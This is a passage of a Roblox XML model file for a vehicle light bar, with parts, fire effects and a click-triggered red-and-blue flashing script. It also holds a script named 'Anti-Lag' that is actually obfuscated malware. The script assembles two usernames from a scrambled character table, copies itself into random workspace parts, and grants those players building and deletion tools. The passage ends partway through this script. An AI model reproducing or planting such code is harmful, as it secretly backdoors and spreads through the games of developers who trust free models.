										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">E</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187276586</X>
											<Y>0.000118588068</Y>
											<Z>0.000207499659</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX148">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX149">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1175.5</X>
											<Y>11.999999</Y>
											<Z>671.400024</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">F</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187136044</X>
											<Y>0.000120943339</Y>
											<Z>0.000207499659</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX150">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX151">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1176</X>
											<Y>11.5999994</Y>
											<Z>672.400024</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000188952952</X>
											<Y>0.000120851757</Y>
											<Z>0.000208371493</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="ClickDetector" referent="RBX152">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX153">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX154">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX155">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX156">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX157">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX158">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1176</X>
											<Y>11.5999994</Y>
											<Z>670.900024</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00018916378</X>
											<Y>0.00011731885</Y>
											<Z>0.000208371493</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX159">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX160">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX161">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1176</X>
											<Y>12.3999987</Y>
											<Z>670.900024</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000185248849</X>
											<Y>0.000117318865</Y>
											<Z>0.000206487282</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX162">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX163">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX164">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1173.49365</X>
											<Y>11.5896244</Y>
											<Z>670.958496</Z>
											<R00>0.00157396472</R00>
											<R01>-0.000234736712</R01>
											<R02>-0.999998748</R02>
											<R10>0.000251085497</R10>
											<R11>0.99999994</R11>
											<R12>-0.000234342529</R12>
											<R20>0.999998629</R20>
											<R21>-0.000250717625</R21>
											<R22>0.00157404237</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00018920633</X>
											<Y>0.000129721826</Y>
											<Z>0.000208748184</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX165">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX166">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1178.72388</X>
											<Y>11.5895786</Y>
											<Z>671.32666</Z>
											<R00>-0.0597334467</R00>
											<R01>-5.461619e-005</R01>
											<R02>0.998214483</R02>
											<R10>0.000396976247</R10>
											<R11>0.99999994</R11>
											<R12>7.84697477e-005</R12>
											<R20>-0.998214245</R20>
											<R21>0.000400954857</R21>
											<R22>-0.0597334355</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0.00277542719</X>
											<Y>0.00348470174</Y>
											<Z>-0.00129063101</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00383983552</X>
											<Y>-0.00427938486</Y>
											<Z>0.00390739413</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX167">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX168">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
